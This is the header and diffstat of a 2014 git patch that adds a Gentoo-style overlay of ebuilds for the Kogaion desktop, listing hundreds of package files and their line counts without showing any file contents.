From 7224c1253228e5c29c78cb3f0f26ce34770f2356 Mon Sep 17 00:00:00 2001 From: BlackNoxis Date: Sat, 15 Feb 2014 23:24:26 +0200 Subject: Added ebuilds for kogaion desktop --- README | 5 + app-admin/anaconda/Manifest | 2 + app-admin/anaconda/anaconda-9999.ebuild | 224 + app-admin/anaconda/files/compat.py | 18 + app-admin/anaconda/files/liveinst | 2 + .../anaconda/files/make_liveinst_update_package.sh | 24 + app-admin/butonasvesel/Manifest | 2 + app-admin/butonasvesel/butonasvesel-1.ebuild | 39 + app-admin/conky-full/Manifest | 12 + app-admin/conky-full/conky-full-1.9.0.ebuild | 139 + .../conky-full/files/conky-1.8.1-acpitemp.patch | 81 + .../files/conky-1.8.1-battery-time.patch | 11 + .../files/conky-1.8.1-curl-headers.patch | 24 + .../conky-full/files/conky-1.8.1-lua-5.2.patch | 26 + .../files/conky-1.8.1-maxinterfaces.patch | 41 + .../conky-full/files/conky-1.8.1-nvidia-x.patch | 33 + .../files/conky-1.8.1-secunia-SA43225.patch | 72 + .../conky-full/files/conky-1.8.1-utf8-scroll.patch | 104 + app-admin/conky-full/files/conky-1.8.1-xmms2.patch | 36 + .../conky-full/files/conky-1.9.0-ncurses.patch | 31 + app-admin/conky/Manifest | 15 + app-admin/conky/conky-1.8.1-r6.ebuild | 134 + app-admin/conky/conky-1.9.0.ebuild | 136 + app-admin/conky/files/conky-1.8.1-acpitemp.patch | 81 + .../conky/files/conky-1.8.1-battery-time.patch | 11 + .../conky/files/conky-1.8.1-curl-headers.patch | 24 + app-admin/conky/files/conky-1.8.1-lua-5.2.patch | 26 + .../conky/files/conky-1.8.1-maxinterfaces.patch | 41 + app-admin/conky/files/conky-1.8.1-nvidia-x.patch | 33 + .../conky/files/conky-1.8.1-secunia-SA43225.patch | 72 + .../conky/files/conky-1.8.1-utf8-scroll.patch | 104 + app-admin/conky/files/conky-1.8.1-xmms2.patch | 36 + app-admin/conky/files/conky-1.9.0-ncurses.patch | 31 + app-admin/conky/metadata.xml | 33 + app-admin/eselect-lightdm/Manifest | 2 + .../eselect-lightdm/eselect-lightdm-0.2.ebuild | 25 + .../eselect-lightdm/files/lightdm-0.2.eselect | 176 + app-admin/example1/Manifest | 2 + app-admin/example1/example1-2012.ebuild | 37 + app-admin/example2/Manifest | 12 + app-admin/example2/example2-1.0.ebuild | 43 + app-admin/example2/example2-1.1.ebuild | 25 + app-admin/example2/files/patch-1.0.patch | 5 + app-admin/example2/files/patch-1.1.patch | 5 + app-admin/kernel-schimbare/Manifest | 4 + .../kernel-schimbare/kernel-schimbare-1.ebuild | 28 + .../kernel-schimbare/kernel-schimbare-2.ebuild | 28 + app-admin/minus-desktop-tool/Manifest | 2 + .../minus-desktop-tool-1.8.ebuild | 20 + app-admin/our-archive/Manifest | 4 + app-admin/our-archive/files/creation-1.patch | 9 + app-admin/our-archive/our-archive-1.01.ebuild | 42 + app-admin/our-archive/our-archive-1.ebuild | 40 + app-admin/rose-installer/Manifest | 3 + .../rose-installer/files/RoSeInstaller.desktop | 7 + app-admin/rose-installer/files/rose-installer.png | Bin 0 -> 10420 bytes app-admin/rose-installer/rose-installer-1.0.ebuild | 42 + app-admin/stability-watcher/Manifest | 3 + .../files/07-rogentos-packages.mask | 71 + .../files/entropy_sabayonlinux.org | 3 + .../stability-watcher/stability-watcher-0.1.ebuild | 32 + app-editors/emacs/Manifest | 3 + app-editors/emacs/emacs-24.2.ebuild | 336 + app-editors/liteide/Manifest | 1 + app-editors/liteide/liteide-9999.ebuild | 90 + app-emulation/packettracer/Manifest | 2 + app-emulation/packettracer/packettracer-533.ebuild | 102 + app-emulation/playonlinux/Manifest | 16 + app-emulation/playonlinux/playonlinux-4.1.0.ebuild | 106 + app-emulation/playonlinux/playonlinux-4.1.1.ebuild | 106 + app-emulation/playonlinux/playonlinux-4.1.3.ebuild | 110 + app-emulation/playonlinux/playonlinux-4.1.4.ebuild | 110 + app-emulation/playonlinux/playonlinux-4.1.5.ebuild | 110 + app-emulation/playonlinux/playonlinux-4.1.6.ebuild | 132 + app-emulation/playonlinux/playonlinux-4.1.8.ebuild | 133 + app-emulation/playonlinux/playonlinux-4.2.1.ebuild | 133 + app-emulation/steam/Manifest | 1 + app-emulation/steam/steam-1.0.0.45.ebuild | 41 + app-misc/anaconda-runtime/Manifest | 2 + .../anaconda-runtime-1.1-r1.ebuild | 51 + .../anaconda-runtime-1.1-r3.ebuild | 50 + app-misc/haguichi/Manifest | 2 + app-misc/haguichi/haguichi-1.0.17.ebuild | 51 + app-misc/rogentos-live/rogentos-live-1.ebuild | 32 + app-misc/rogentos-live/rogentos-live-2-r1.ebuild | 32 + app-misc/rogentos-live/rogentos-live-2.ebuild | 33 + app-misc/rogentos-skel/Manifest | 1 + app-misc/rogentos-skel/rogentos-skel-1.ebuild | 27 + app-misc/rogentos-version/Manifest | 2 + .../files/00-sabayon-anti-fork-bomb.conf | 20 + .../rogentos-version/rogentos-version-1.ebuild | 48 + app-misc/rogentoslive-tools/Manifest | 50 + app-misc/rogentoslive-tools/files/1.0/bashlogin | 6 + app-misc/rogentoslive-tools/files/1.0/cdeject | 23 + .../rogentoslive-tools/files/1.0/installer-gui | 26 + .../rogentoslive-tools/files/1.0/installer-text | 21 + .../files/1.0/livecd-functions.sh | 634 ++ app-misc/rogentoslive-tools/files/1.0/livespawn | 10 + app-misc/rogentoslive-tools/files/1.0/logscript.sh | 111 + app-misc/rogentoslive-tools/files/1.0/net-setup | 65 + .../rogentoslive-tools/files/1.0/opengl-activator | 318 + .../files/1.0/rogentos-functions.sh | 247 + .../files/1.0/rogentos-welcome-loader | 10 + .../files/1.0/rogentos-welcome-loader.desktop | 7 + app-misc/rogentoslive-tools/files/1.0/rogentoslive | 218 + .../files/1.0/sabayon-live-check | 26 + app-misc/rogentoslive-tools/files/1.0/sabutil | 667 ++ .../rogentoslive-tools/files/1.0/vga-cmd-parser | 53 + .../files/1.0/x-setup-configuration | 60 + .../rogentoslive-tools/files/1.0/x-setup-init.d | 68 + .../90-fglrx-12.1-and-older-workaround.conf | 4 + .../files/1.0/xorg.conf.d/90-synaptics.conf | 58 + .../files/1.0/xorg.conf.rogentos | 100 + app-misc/rogentoslive-tools/files/2/bashlogin | 6 + app-misc/rogentoslive-tools/files/2/cdeject | 11 + .../rogentoslive-tools/files/2/cdeject.service | 13 + app-misc/rogentoslive-tools/files/2/cdeject.sh | 12 + app-misc/rogentoslive-tools/files/2/installer-gui | 15 + .../files/2/installer-gui.service | 12 + .../rogentoslive-tools/files/2/installer-gui.sh | 8 + app-misc/rogentoslive-tools/files/2/installer-text | 13 + .../files/2/installer-text.service | 11 + .../rogentoslive-tools/files/2/installer-text.sh | 7 + .../rogentoslive-tools/files/2/livecd-functions.sh | 635 ++ app-misc/rogentoslive-tools/files/2/livespawn | 10 + app-misc/rogentoslive-tools/files/2/logscript.sh | 111 + app-misc/rogentoslive-tools/files/2/net-setup | 65 + .../files/2/rogentos-functions.sh | 284 + .../rogentoslive-tools/files/2/rogentos-live-check | 27 + .../files/2/rogentos-welcome-loader | 10 + .../files/2/rogentos-welcome-loader.desktop | 7 + app-misc/rogentoslive-tools/files/2/rogentoslive | 14 + .../files/2/rogentoslive.service | 11 + .../rogentoslive-tools/files/2/rogentoslive.sh | 183 + app-misc/rogentoslive-tools/files/2/sabutil | 667 ++ app-misc/rogentoslive-tools/files/2/vga-cmd-parser | 53 + .../files/2/x-setup-configuration | 46 + app-misc/rogentoslive-tools/files/2/x-setup-init.d | 26 + .../rogentoslive-tools/files/2/x-setup.service | 14 + app-misc/rogentoslive-tools/files/2/x-setup.sh | 49 + .../rogentoslive-tools-1.0-r1.ebuild | 83 + .../rogentoslive-tools/rogentoslive-tools-2.ebuild | 74 + app-misc/sabayon-mce/Manifest | 6 + .../sabayon-mce/files/1.1/bin/sabayon-mce-session | 3 + .../sabayon-mce/files/1.1/bin/sabayon-mce-start | 18 + .../sabayon-mce/files/1.1/bin/sabayon-mce-startx | 171 + app-misc/sabayon-mce/files/1.1/init.d/sabayon-mce | 41 + .../files/1.1/xsession/sabayon-mce.desktop | 8 + app-misc/sabayon-mce/sabayon-mce-1.1-r1.ebuild | 56 + app-pda/ifuse/ChangeLog | 54 + app-pda/ifuse/Manifest | 1 + app-pda/ifuse/ifuse-1.1.2.ebuild | 30 + app-pda/ifuse/ifuse-9999.ebuild | 32 + app-pda/ifuse/metadata.xml | 6 + app-text/evince-light/ChangeLog | 1046 +++ app-text/evince-light/Manifest | 40 + app-text/evince-light/evince-2.32.0-r3.ebuild | 137 + app-text/evince-light/evince-2.32.0-r4.ebuild | 138 + app-text/evince-light/evince-3.2.1-r1.ebuild | 117 + app-text/evince-light/evince-light-3.4.0.ebuild | 113 + .../files/evince-0.7.1-display-menu.patch | 11 + ...evince-2.32.0-create_thumbnail_frame-null.patch | 25 + .../files/evince-2.32.0-desktop-categories.patch | 20 + .../files/evince-2.32.0-dvi-CVEs.patch | 97 + .../files/evince-2.32.0-dvi-security.patch | 24 + .../evince-light/files/evince-2.32.0-gold.patch | 16 + .../files/evince-2.32.0-libdocument-segfault.patch | 35 + .../files/evince-2.32.0-libview-crash.patch | 32 + .../files/evince-2.32.0-pk-fonts.patch | 37 + .../files/evince-2.32.0-stop-spinner.patch | 74 + .../files/evince-2.32.0-update-poppler.patch | 58 + .../files/evince-2.32.0-use-popup.patch | 21 + .../files/evince-3.2.1-glib-gold.patch | 38 + .../files/evince-3.2.1-libgxps-0.2.patch | 45 + .../files/evince-3.4.0-glib-gold.patch | 54 + app-text/evince-light/files/gconf-2.m4 | 44 + app-text/evince-light/metadata.xml | 16 + app-text/foxitreader/Manifest | 1 + app-text/foxitreader/files/foxitreader.desktop | 22 + app-text/foxitreader/files/foxitreader.png | Bin 0 -> 4820 bytes app-text/foxitreader/foxitreader-1.1.0.ebuild | 59 + app-text/foxitreader/metadata.xml | 5 + app-text/xpdf/Manifest | 5 + app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch | 13 + app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch | 13 + app-text/xpdf/xpdf-3.03.ebuild | 84 + dev-java/eclipse-ecj/ChangeLog | 356 + dev-java/eclipse-ecj/Manifest | 15 + dev-java/eclipse-ecj/eclipse-ecj-3.3.0-r3.ebuild | 86 + dev-java/eclipse-ecj/eclipse-ecj-3.4-r4.ebuild | 92 + dev-java/eclipse-ecj/eclipse-ecj-3.5.2.ebuild | 103 + dev-java/eclipse-ecj/eclipse-ecj-3.6.ebuild | 103 + dev-java/eclipse-ecj/eclipse-ecj-3.7.1.ebuild | 103 + dev-java/eclipse-ecj/eclipse-ecj-3.7.2.ebuild | 103 + .../eclipse-ecj/files/eclipse-ecj-3.3.0-gcj.patch | 509 ++ dev-java/eclipse-ecj/metadata.xml | 15 + dev-lang/smlnj/Manifest | 23 + dev-lang/smlnj/smlnj-110.75.ebuild | 113 + dev-python/gdk-pixbuf/GENTOO | 0 dev-python/gdk-pixbuf/Manifest | 5 + .../gdk-pixbuf-2.21.4-fix-automagic-x11.patch | 24 + dev-python/gdk-pixbuf/gdk-pixbuf-2.24.0-r1.ebuild | 93 + dev-python/gdk-pixbuf/metadata.xml | 9 + dev-python/pymaxe/Manifest | 2 + dev-python/pymaxe/pymaxe-20130303.ebuild | 30 + dev-python/pysmbc/Manifest | 2 + dev-python/pysmbc/pysmbc-1.0.13.ebuild | 21 + dev-python/pyvlc/Manifest | 2 + dev-python/pyvlc/pyvlc-1.0.ebuild | 50 + dev-python/pyvlc/pyvlc-9999.ebuild | 50 + dev-python/qtstatemachine/Manifest | 6 + .../qstatemachines_add_CMake_support.patch_003 | 154 + .../qstatemachines_fix_compound_state.patch_002 | 82 + .../files/qstatemachines_fix_history.patch_001 | 155 + .../qtstatemachine/qtstatemachine-1.1-r1.ebuild | 38 + .../qtstatemachine/qtstatemachine-1.1.ebuild | 49 + do-artwork-bump.sh | 25 + eclass/avahi.eclass | 102 + eclass/compat-drivers-3.7.eclass | 543 ++ eclass/compat-drivers-3.8-r1.eclass | 104 + eclass/compat-drivers-3.8.eclass | 560 ++ eclass/kde-l10n.eclass | 32 + eclass/kogaion-artwork.eclass | 62 + eclass/libreoffice-l10n-2.eclass | 139 + eclass/libreoffice-l10n.eclass | 124 + eclass/openoffice-l10n.eclass | 68 + eclass/rogentos-artwork.eclass | 62 + eclass/rogentos-kernel.eclass | 967 +++ eclass/sabayon-artwork.eclass | 55 + eclass/sabayon-kernel.eclass | 967 +++ eclass/spl-zfs-kernel.eclass | 183 + eclass/spl-zfs-userspace.eclass | 218 + eclass/transmission-2.51.eclass | 294 + eclass/transmission-2.52.eclass | 295 + eclass/webapp.eclass | 575 ++ games-emulation/mednafen/ChangeLog | 190 + games-emulation/mednafen/Manifest | 24 + .../mednafen/files/mednafen-0.9.21-zlib.patch | 27 + .../files/mednafen-0.9.28-automake-1.13.patch | 11 + .../mednafen/files/mednafen-0.9.28-cflags.patch | 35 + .../mednafen/files/mednafen-0.9.28-zlib.patch | 30 + games-emulation/mednafen/mednafen-0.9.21.ebuild | 63 + games-emulation/mednafen/mednafen-0.9.28.ebuild | 59 + games-emulation/mednafen/mednafen/ChangeLog | 190 + games-emulation/mednafen/mednafen/Manifest | 24 + .../mednafen/files/mednafen-0.9.21-zlib.patch | 27 + .../files/mednafen-0.9.28-automake-1.13.patch | 11 + .../mednafen/files/mednafen-0.9.28-cflags.patch | 35 + .../mednafen/files/mednafen-0.9.28-zlib.patch | 30 + .../mednafen/mednafen/mednafen/ChangeLog | 190 + games-emulation/mednafen/metadata.xml | 8 + games-fps/redeclipse/Manifest | 4 + games-fps/redeclipse/redeclipse-1.1.ebuild | 69 + games-fps/redeclipse/redeclipse-1.3.1.ebuild | 65 + games-strategy/0ad/0ad-11339.ebuild | 150 + games-strategy/0ad/0ad-11863.ebuild | 145 + games-strategy/0ad/0ad-99999.ebuild | 115 + games-strategy/0ad/Manifest | 11 + .../0ad/files/11339_alpha_disable_nvtt.patch | 0 games-strategy/0ad/files/premake-archless.patch | 36 + .../0ad/files/premake-script-archless.patch | 31 + games-strategy/0ad/files/r11339_noCUDAdep.diff | 366 + games-strategy/dunelegacy/Manifest | 2 + games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild | 61 + games-strategy/stargus/Manifest | 2 + games-strategy/stargus/stargus-2.2.7.ebuild | 70 + games-strategy/unknown-horizons/Manifest | 4 + .../unknown-horizons-2011.2.ebuild | 38 + .../unknown-horizons-2012.1.ebuild | 37 + games-strategy/zod-engine/Manifest | 3 + .../zod-engine-20110906-proper-linux-support.patch | 1419 +++ .../zod-engine/zod-engine-20110906.ebuild | 71 + games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild | 31 + games-tycoon/LinuxTycoon/Manifest | 2 + gnome-base/gnome-core-apps/ChangeLog | 46 + gnome-base/gnome-core-apps/Manifest | 4 + .../gnome-core-apps-3.6.2-r1.ebuild | 59 + .../gnome-core-apps/gnome-core-apps-3.6.2.ebuild | 59 + gnome-base/gnome-core-apps/metadata.xml | 5 + gnome-base/gnome/ChangeLog | 1743 ++++ gnome-base/gnome/Manifest | 6 + gnome-base/gnome/gnome-2.32.1-r2.ebuild | 192 + gnome-base/gnome/gnome-3.4.1.ebuild | 105 + gnome-base/gnome/gnome-3.6.2-r1.ebuild | 88 + gnome-base/gnome/gnome-3.6.2.ebuild | 88 + gnome-base/gnome/metadata.xml | 10 + kde-base/oxygen-icons/Manifest | 9 + kde-base/oxygen-icons/metadata.xml | 5 + kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild | 42 + kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild | 40 + kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild | 40 + kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild | 42 + kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild | 42 + lxde-base/lxdm/Manifest | 18 + .../lxdm/files/lxdm-0.4.1-configure-add-pam.patch | 45 + .../files/lxdm-0.4.1-fix-event-check-bug.patch | 25 + .../lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch | 16 + .../lxdm/files/lxdm-0.4.1-fix-session-args.patch | 29 + .../lxdm-0.4.1-git-fix-null-pointer-deref.patch | 51 + .../files/lxdm-0.4.1-missing-pam-defines.patch | 29 + .../files/lxdm-0.4.1-optional-consolekit.patch | 38 + .../lxdm-0.4.1-pam-use-system-local-login.patch | 15 + .../files/lxdm-0.4.1-pam_console-disable.patch | 9 + .../lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch | 32 + .../lxdm/files/lxdm-0.4.1-rogentos-conf.patch | 11 + lxde-base/lxdm/files/lxdm.service | 11 + lxde-base/lxdm/files/xinitrc | 52 + lxde-base/lxdm/lxdm-0.4.1-r7.ebuild | 89 + lxde-base/lxdm/lxdm-0.4.1-r8.ebuild | 93 + lxde-base/lxdm/metadata.xml | 5 + mail-filter/bogofilter/ChangeLog | 777 ++ mail-filter/bogofilter/Manifest | 8 + mail-filter/bogofilter/bogofilter-1.2.2.ebuild | 116 + mail-filter/bogofilter/bogofilter-1.2.3.ebuild | 147 + .../bogofilter/files/bogofilter-1.2.2-gcc34.patch | 24 + mail-filter/bogofilter/metadata.xml | 11 + .../CodeAnalyst/CodeAnalyst-3.4.18_pre0418.ebuild | 37 + media-gfx/CodeAnalyst/Manifest | 2 + media-gfx/freecad/Manifest | 18 + .../freecad/files/freecad-0.12.5284-boost148.patch | 25 + .../freecad/files/freecad-0.12.5284-gcc46.patch | 11 + .../freecad/files/freecad-0.12.5284-glu.patch | 12 + .../files/freecad-0.12.5284-no-3rdParty.patch | 9 + .../files/freecad-0.12.5284-no-permissive.patch | 40 + .../freecad/files/freecad-0.12.5284-nodir.patch | 21 + .../freecad/files/freecad-0.12.5284-nopivy.patch | 17 + .../files/freecad-0.12.5284-occ-6.5.5.patch | 224 + .../files/freecad-0.12.5284-qt3support.patch | 36 + .../files/freecad-0.12.5284-removeoldswig.patch | 111 + .../freecad-0.12.5284-salomesmesh-occ-6.5.5.patch | 228 + .../freecad-0.13.1830-remove-qt3-support.patch | 33 + media-gfx/freecad/freecad-0.12.5284-r2.ebuild | 91 + media-gfx/freecad/freecad-0.12.5284-r3.ebuild | 128 + media-gfx/freecad/freecad-0.13.1830.ebuild | 88 + media-gfx/freecad/freecad-9999.ebuild | 107 + media-sound/djplay/Manifest | 2 + media-sound/djplay/djplay-0.5.0.ebuild | 34 + media-sound/teamspeak-client-bin/ChangeLog | 148 + media-sound/teamspeak-client-bin/Manifest | 12 + media-sound/teamspeak-client-bin/files/teamspeak3 | 10 + media-sound/teamspeak-client-bin/metadata.xml | 8 + .../teamspeak-client-bin-3.0.0_rc1.ebuild | 47 + .../teamspeak-client-bin-3.0.10.ebuild | 47 + .../teamspeak-client-bin-3.0.13.1.ebuild | 47 + .../teamspeak-client-bin-3.0.6.ebuild | 47 + .../teamspeak-client-bin-3.0.8.1.ebuild | 47 + .../teamspeak-client-bin-3.0.9.2.ebuild | 47 + media-tv/sopcast-player/Manifest | 2 + .../sopcast-player/sopcast-player-0.8.5.ebuild | 40 + media-tv/sp-auth/Manifest | 1 + media-tv/sp-auth/sp-auth-3.2.6.ebuild | 33 + media-tv/xbmc/Manifest | 26 + media-tv/xbmc/files/xbmc-10.0-python-2.7.patch | 768 ++ media-tv/xbmc/files/xbmc-10.1-gcc-4.6.patch | 100 + media-tv/xbmc/files/xbmc-10.1-headers.patch | 10 + media-tv/xbmc/files/xbmc-10.1-libpng-1.5.patch | 596 ++ media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch | 605 ++ media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch | 30 + ...bmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch | 51 + .../files/xbmc-11.0_beta1-libpng-1.5-headers.patch | 12 + .../xbmc/files/xbmc-11.0_beta1-libpng-1.5.patch | 596 ++ .../xbmc-9.11-TexturePacker-parallel-build.patch | 13 + media-tv/xbmc/files/xbmc-9.11-jpeg-speedup.patch | 18 + media-tv/xbmc/files/xbmc-9.11-libpng14.patch | 92 + .../xbmc/files/xbmc-9.11-shader-upscalers.patch | 887 ++ ...9.11-use-cdio-system-headers-on-non-win32.patch | 129 + media-tv/xbmc/files/xbmc-9.11-wavpack.patch | 44 + .../xbmc/files/xbmc-9999-arm-kill-softfp.patch | 15 + .../xbmc-9999-libpng-1.5-fix-plt-trn-get.patch | 47 + media-tv/xbmc/files/xbmc-9999-no-arm-flags.patch | 16 + media-tv/xbmc/files/xbmc-9999-no-exec-stack.patch | 28 + media-tv/xbmc/files/xbmc-9999-nomythtv.patch | 206 + media-tv/xbmc/xbmc-10.1.ebuild | 225 + media-tv/xbmc/xbmc-11.0.ebuild | 232 + media-tv/xbmc/xbmc-12.0.ebuild | 237 + media-video/amdcccle/Manifest | 18 + media-video/amdcccle/amdcccle-11.10.ebuild | 62 + media-video/amdcccle/amdcccle-11.11.ebuild | 64 + media-video/amdcccle/amdcccle-11.12.ebuild | 64 + media-video/amdcccle/amdcccle-11.6.ebuild | 62 + media-video/amdcccle/amdcccle-11.8.ebuild | 62 + media-video/amdcccle/amdcccle-11.9.ebuild | 62 + media-video/amdcccle/amdcccle-12.1-r1.ebuild | 64 + media-video/amdcccle/amdcccle-12.2.ebuild | 64 + media-video/amdcccle/amdcccle-12.3.ebuild | 64 + media-video/ffmpeg/Manifest | 2 + media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild | 255 + media-video/mkvtoolnix-gui/Manifest | 2 + .../mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild | 81 + media-video/mkvtoolnix/Manifest | 2 + media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild | 86 + media-video/nvidia-settings/Manifest | 20 + .../nvidia-settings/files/95-nvidia-settings | 2 + .../nvidia-settings/files/nvidia-autostart.desktop | 8 + .../nvidia-settings/nvidia-settings-295.33.ebuild | 72 + .../nvidia-settings/nvidia-settings-295.40.ebuild | 72 + .../nvidia-settings/nvidia-settings-302.07.ebuild | 72 + .../nvidia-settings/nvidia-settings-304.22.ebuild | 66 + .../nvidia-settings/nvidia-settings-304.60.ebuild | 66 + .../nvidia-settings/nvidia-settings-304.88.ebuild | 69 + .../nvidia-settings/nvidia-settings-310.19.ebuild | 66 + .../nvidia-settings/nvidia-settings-313.30.ebuild | 69 + .../nvidia-settings/nvidia-settings-325.15.ebuild | 76 + media-video/tovid/Manifest | 5 + media-video/tovid/metadata.xml | 5 + media-video/tovid/tovid-0.34.ebuild | 61 + media-video/tovid/tovid-0.34_p20120123.ebuild | 65 + media-video/tv-maxe/Manifest | 2 + media-video/tv-maxe/tv-maxe-0.08.ebuild | 49 + media-video/tv-maxe/tv-maxe-0.09.ebuild | 50 + media-video/tvmaxe-cli/Manifest | 2 + media-video/tvmaxe-cli/tvmaxe-cli-20120906.ebuild | 27 + media-video/webcamstudio-module/Manifest | 1 + .../webcamstudio-module-1.4-r2.ebuild | 51 + .../webcamstudio-module-1.4-r2.ebuild.save | 52 + metadata/layout.conf | 2 + net-analyzer/g-wan/g-wan-2012.ebuild | 31 + net-analyzer/metasploit/Manifest | 8 + net-analyzer/metasploit/metasploit-9999.ebuild | 215 + net-misc/hamachi-gui/Manifest | 2 + net-misc/hamachi-gui/hamachi-gui-0.9.6.ebuild | 41 + net-misc/logmein-hamachi/ChangeLog | 49 + net-misc/logmein-hamachi/Manifest | 15 + .../logmein-hamachi/files/logmein-hamachi.confd | 16 + .../logmein-hamachi/files/logmein-hamachi.initd | 73 + .../logmein-hamachi-2.1.0.17.ebuild | 61 + .../logmein-hamachi-2.1.0.68-r1.ebuild | 62 + .../logmein-hamachi-2.1.0.68.ebuild | 61 + .../logmein-hamachi-2.1.0.76-r1.ebuild | 62 + .../logmein-hamachi-2.1.0.76.ebuild | 62 + net-misc/logmein-hamachi/metadata.xml | 9 + net-misc/openssh-x/ChangeLog | 1929 +++++ net-misc/openssh-x/Manifest | 96 + .../files/openssh-4.7_p1-GSSAPI-dns.patch | 127 + .../openssh-x/files/openssh-5.2_p1-autoconf.patch | 15 + .../files/openssh-5.2_p1-gsskex-fix.patch | 16 + .../files/openssh-5.2_p1-x509-hpn-glue.patch | 91 + .../files/openssh-5.2p1-ldap-stdargs.diff | 10 + .../openssh-x/files/openssh-5.4_p1-openssl.patch | 12 + .../files/openssh-5.6_p1-hpn-progressmeter.patch | 15 + .../files/openssh-5.6_p1-x509-hpn-glue.patch | 60 + .../files/openssh-5.7_p1-x509-hpn-glue.patch | 60 + .../openssh-x/files/openssh-5.8_p1-selinux.patch | 18 + .../files/openssh-5.8_p1-x509-hpn-glue.patch | 61 + .../files/openssh-5.9_p1-drop-openssl-check.patch | 25 + .../openssh-5.9_p1-sshd-gssapi-multihomed.patch | 184 + .../openssh-x/files/openssh-5.9_p1-x509-glue.patch | 15 + .../openssh-6.0_p1-fix-freebsd-compilation.patch | 15 + .../files/openssh-6.0_p1-hpn-progressmeter.patch | 15 + net-misc/openssh-x/files/openssh-6.0_p1-test.patch | 19 + .../openssh-x/files/openssh-6.0_p1-x509-glue.patch | 15 + .../files/openssh-6.0_p1-x509-hpn-glue.patch | 57 + .../openssh-x/files/openssh-6.1_p1-x509-glue.patch | 15 + .../files/openssh-6.1_p1-x509-hpn-glue.patch | 49 + net-misc/openssh-x/files/sshd.confd | 21 + net-misc/openssh-x/files/sshd.pam | 9 + net-misc/openssh-x/files/sshd.pam_include.2 | 4 + net-misc/openssh-x/files/sshd.rc6 | 82 + net-misc/openssh-x/files/sshd.rc6.1 | 83 + net-misc/openssh-x/files/sshd.rc6.2 | 85 + net-misc/openssh-x/files/sshd.rc6.3 | 85 + net-misc/openssh-x/files/sshd.service | 10 + net-misc/openssh-x/files/sshd.socket | 10 + net-misc/openssh-x/files/sshd_at.service | 8 + net-misc/openssh-x/metadata.xml | 28 + net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild | 294 + net-misc/openssh-x/openssh-x-6.0_p1.ebuild | 294 + net-misc/openssh-x/openssh-x-6.1_p1.ebuild | 295 + net-misc/teamviewer/Manifest | 6 + net-misc/teamviewer/teamviewer-7.0.9310.ebuild | 52 + net-misc/teamviewer/teamviewer-7.0.9377.ebuild | 52 + net-misc/teamviewer/teamviewer-8.0.16675.ebuild | 52 + net-misc/tigervnc/Manifest | 5 + net-misc/tigervnc/tigervnc-1.2.0.ebuild | 196 + net-misc/udpcast/ChangeLog | 107 + net-misc/udpcast/Manifest | 7 + net-misc/udpcast/files/udpcast-define.patch | 12 + net-misc/udpcast/metadata.xml | 13 + net-misc/udpcast/udpcast-20110710.ebuild | 30 + net-misc/udpcast/udpcast-20120424.ebuild | 31 + net-misc/xdman/Manifest | 2 + net-misc/xdman/xdman-1.0.ebuild | 45 + net-misc/xrdp/Manifest | 1 + net-misc/xrdp/xrdp-9999.ebuild | 94 + net-p2p/gnunet-gtk/ChangeLog | 21 + net-p2p/gnunet-gtk/Manifest | 20 + net-p2p/gnunet-gtk/gnunet-gtk-0.7.3.ebuild | 27 + net-p2p/gnunet-gtk/gnunet-gtk-0.8.0.ebuild | 39 + net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre0.ebuild | 38 + net-p2p/gnunet-gtk/gnunet-gtk-0.8.0_pre1.ebuild | 39 + net-p2p/gnunet-gtk/gnunet-gtk-0.8.0a.ebuild | 39 + net-p2p/gnunet-gtk/gnunet-gtk-0.8.0c.ebuild | 39 + net-p2p/gnunet-gtk/gnunet-gtk-0.8.1.ebuild | 39 + net-p2p/gnunet-gtk/gnunet-gtk-0.8.1a.ebuild | 39 + net-p2p/gnunet-gtk/gnunet-gtk-0.9.0_pre1.ebuild | 39 + net-p2p/gnunet-gtk/metadata.xml | 11 + net-p2p/gnunet-qt/ChangeLog | 14 + net-p2p/gnunet-qt/Manifest | 5 + net-p2p/gnunet-qt/gnunet-qt-0.8.1.ebuild | 49 + net-p2p/gnunet-qt/gnunet-qt-0.8.1a.ebuild | 29 + net-p2p/gnunet/ChangeLog | 34 + net-p2p/gnunet/Manifest | 64 + net-p2p/gnunet/files/config-daemon.in.patch | 10 + net-p2p/gnunet/files/gnunet | 31 + .../gnunet/files/gnunet-0.9.0_pre0-gentoo.patch | 13 + .../gnunet/files/gnunet-0.9.0_pre2-gentoo.patch | 13 + net-p2p/gnunet/files/gnunet-2 | 32 + net-p2p/gnunet/files/gnunet-download-manager.scm | 407 + net-p2p/gnunet/files/gnunet.initd | 32 + net-p2p/gnunet/files/gnunet.initd-0.9.0 | 38 + net-p2p/gnunet/files/gnunet.initd-0.9.0v2 | 35 + net-p2p/gnunet/gnunet-0.7.0b.ebuild | 120 + net-p2p/gnunet/gnunet-0.7.0e.ebuild | 121 + net-p2p/gnunet/gnunet-0.7.1.ebuild | 122 + net-p2p/gnunet/gnunet-0.7.1_pre0.ebuild | 122 + net-p2p/gnunet/gnunet-0.7.1a.ebuild | 122 + net-p2p/gnunet/gnunet-0.7.1b.ebuild | 122 + net-p2p/gnunet/gnunet-0.7.2b.ebuild | 120 + net-p2p/gnunet/gnunet-0.7.2c.ebuild | 121 + net-p2p/gnunet/gnunet-0.7.3.ebuild | 116 + net-p2p/gnunet/gnunet-0.8.0.ebuild | 107 + net-p2p/gnunet/gnunet-0.8.0_pre0.ebuild | 107 + net-p2p/gnunet/gnunet-0.8.0_pre1.ebuild | 107 + net-p2p/gnunet/gnunet-0.8.0a.ebuild | 106 + net-p2p/gnunet/gnunet-0.8.0b.ebuild | 107 + net-p2p/gnunet/gnunet-0.8.0c.ebuild | 108 + net-p2p/gnunet/gnunet-0.8.1-r1.ebuild | 105 + 